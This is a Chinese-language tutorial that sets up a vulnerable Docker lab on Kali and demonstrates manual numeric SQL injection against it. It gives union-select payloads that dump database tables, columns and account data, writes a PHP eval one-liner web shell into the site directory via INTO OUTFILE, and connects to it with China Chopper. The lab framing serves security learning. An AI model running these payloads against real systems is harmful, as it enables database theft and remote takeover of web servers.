很多新手小白入門后發現想要學好“網安”技術,除了掌握基礎理論知識,更需要經常模擬不同的漏洞環境,但是如果使用外網服務器練習,會存在一定風險,因此能夠搭建一個本地的模擬環境去測試漏洞將是一個不錯的方案。
Docker是近幾年來十分流行的開源容器引擎,開發者可以打包自己的應用到容器里面,然后遷移到其他機器的Docker應用中,實現快速部署。
環境搭建
首先,在kali中搭建這個DCN靶機系統,進入kali、打開終端、在終端里輸入:
1、apt-get install docker
2、apt-get install docker.io
PS:如果出現“找不到軟件包”錯誤,請檢查你的kali是不是更新過的。
然后啟動Docker服務:
1、service docker start
查看Docker服務運行狀態:
1、service docker status
PS:一般此時的狀態會很顯眼的顯示一個綠色的【active(running)】。
接着是要把Docker鏡像上傳到kali里面,導入鏡像:
1、docker load < dcn_web_test.tar
2、docker load < dcn_upload.tar
這里導入的時候可能要花一段時間。
接着可以看一下Docker 鏡像:
1、docker images
這里我們會發現REPOSITORY 和 TAG下面都顯示“<none>”,我們來修改一下對應值:
1、docker tag [你的IMAGE ID] dcn_web_test:V 1.0
2、docker tag [你的IMAGE ID] dcn_upload:V 1.0
完成這些之后,就可以啟動了!
啟動:
1、docker run -itd -p 8888:80 dcn_web_test:V 1.0
容器運行之后,直接訪問kali的IP地址,我的kali地址是192.168.10.100:
1、http://192.168.10.100:8888/
之后可以看到我們的靶機分為七個模塊,包含了常見的Web漏洞。
接下來要展示的是:SQLi數值型注入。
示例演示
目標:獲得所有的數據庫信息和數據表信息,甚至提權、上傳一句話木馬等。
1)嘗試輸入數字1,submit提交,有結果輸出:

2)輸入數字2,submit提交,有結果輸出:

3)輸入數字3,submit提交:

4)判斷是否存在注入:輸入:3 or 1=1,submit:


顯示了一行數據,說明存在注入漏洞。另外,通過前面的測試,得知數據表至少存在兩行數據,此處注入成功后,查詢結果集中,應該存在至少2行數據,但前端頁面只顯示了一行結果,由此猜測后端php程序對查詢結果集的輸出做了處理,即只輸出查詢結果集中的第一行數據發送到前端頁面。
5)繼續使用order by猜測有多少列
輸入:3 or 1=1 order by 1 desc,表示對select查詢結果集,按照第1列值降序排列,不加desc,默認按升序排列。

輸入:3 or 1=1 order by 4 desc

有錯誤提示,第4列不存在,那么繼續嘗試按第3列排序,降序或升序都可以。

上圖有結果顯示,說明該數據表一共有3列,后端php程序對輸出結果集做了處理,所以前端頁面只顯示兩列數據。另外,需要注意的是,前端頁面上顯示的列標題,不一定就是數據表真正的列標題。
6)嘗試通過union猜測顯示的列
輸入:1 union select 1,2,3,submit提交:

使用union關鍵字的目的,是為了輸出想要的重要信息,但是由於php后端程序的處理,前端頁面只顯示結果集中的第一行,如果所給的id數字正確,那么union之后的select的結果集不會顯示在前端頁面,那么想要的重要信息也不會顯示在前端頁面。解決方法有兩種:一種是union結合order by,如輸入 1 union select 3,2,1 order by 1 desc,結果如圖:

第二種是使用錯誤的id,如id為3,輸入 3 union select 1,2,3,結果如下圖:

兩種方法都可以顯示第二個select的輸出結果,綜合對比,第二種方法更加簡潔一些,且顯示輸出的分別是第2列和第3列,那么接下來就嘗試獲取重要信息顯示到第2列或第3列。
7)通過union select獲取當前數據庫用戶和版本號,顯示在第2列
輸入:3 union select 1,user( ),3,submit提交

顯示的用戶是root,即當前php后台程序連接Mysql的身份是root
輸入:3 union select 1,version( ),3,submit提交

上圖顯示了Mysql數據庫管理系統的版本號,大於5.0以上,可以直接使用information_schema去“爆庫”。
8)通過union select獲取當前數據中所有的數據表,顯示在第2列一個單元格中
輸入:
3 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database( ),submit提交。
group_concat( )函數,將當前列的所有結果連接到一起,放到一個單元格中;information_schema,是系統數據庫,類似於SQL Server中的Master數據庫,如下圖所示:

information_schema.tables,其中tables是information_schema數據庫中的一個數據表,存儲了mysql中所有的數據表名稱,如下圖:

table_schema,是tables表中的列名稱;database( )函數,表示當前數據庫,如下圖:

Submit提交的結果如下圖:

由圖可知,當前數據庫包含了兩個數據表,分別是“account”和“news”。
9)通過union select獲取已知數據表的所有列名稱,顯示在第2列一個單元格中,例如輸入:
3 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='account'
3 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='news'

10)通過union select獲取已知數據表的已知列的所有內容,顯示在第2列和第3列的兩個單元格中。
例如獲取account表格的id列和rest列的所有內容,輸入:
3 union select 1,group_concat(id),group_concat(rest) from account

例如獲取account表格的rest列和own列的所有內容,輸入:
3 union select 1,group_concat(rest),group_concat(own) from account

例如獲取news表格的id列和title列的所有內容,輸入:
3 union select 1,group_concat(id),group_concat(title) from news

例如獲取news表格的title列和content列的所有內容,輸入:
3 union select 1,group_concat(title),group_concat(content) from news

11)嘗試通過union select寫入一句話木馬到站點目錄
輸入:
3 union select 1,2,'<?php eval($_POST[dcn]);?>' into outfile '/var/www/html/ttt1.php'
錯誤提示如下:

這種錯誤,一般是由於當前Mysql服務的Linux用戶不具備對該目錄的寫入權限導致。
如何查看當前Mysql服務進程所屬用戶?
假設可以登錄Linux控制台,進入Docker容器的系統環境:

輸入 ps -aux ,截圖如下:

從圖中可以看出,Mysql服務進程為Mysqld,其用戶為Mysql。
查看站點目錄的權限:
站點目錄默認一般為 /var/www/html ,查看html目錄的權限如下:cd /var/www
ls -l -d html ,截圖如下:

html目錄為一個鏈接,真實的站點目錄為 /app ,繼續查看app目錄的權限:

由上圖可以看出,/app目錄所屬的用戶和組為www-data,且只有www-data用戶具備rwx權限,可以寫入文件,而mysql服務進程的用戶為Mysql,通過select的方式向 /app 目錄寫入文件失敗,沒有權限。
假設存在一個站點子目錄,任何用戶都具備寫入權限,那么情況會怎樣呢?

上圖,在站點根目錄下創建了一個子目錄為 test-sql,且修改權限為“777”,既任意用戶都具備對該目錄的寫入權限。
接下來繼續測試通過select方式寫入一句話木馬文件:
輸入:
3 union select 1,2,'<?php eval($_POST[dcn]);?>' into outfile '/var/www/html/test-sql/ttt1.php'
submit提交,截圖如下:

注意,一句話木馬的內容為:<?php eval($_POST[dcn]);?>
在Linux控制台中可以看到成功寫入的一句話木馬php文件:

12)通過“中國菜刀”連接寫入的一句話木馬文件




注意事項:
如果沒有提供輸入框和submit,那么如何實現注入?
如果是get方式提交請求,那么可以直接在URL中實現注入,如:
http://192.168.7.61:8888/sql_injection/sql_num.php?id=3+union+select+1%2Cversion%28%29%2C3&submit=submit
直接修改“?”號后面的內容即可,空格符在URL中用“+”號表示,逗號在URL中用“%2C”表示,左括號“(”在URL中用“%28”表示,右括號“)”在URL中用“%29”表示。
這樣一次SQL手工注入並連接shell就完成了,大家看懂了嗎?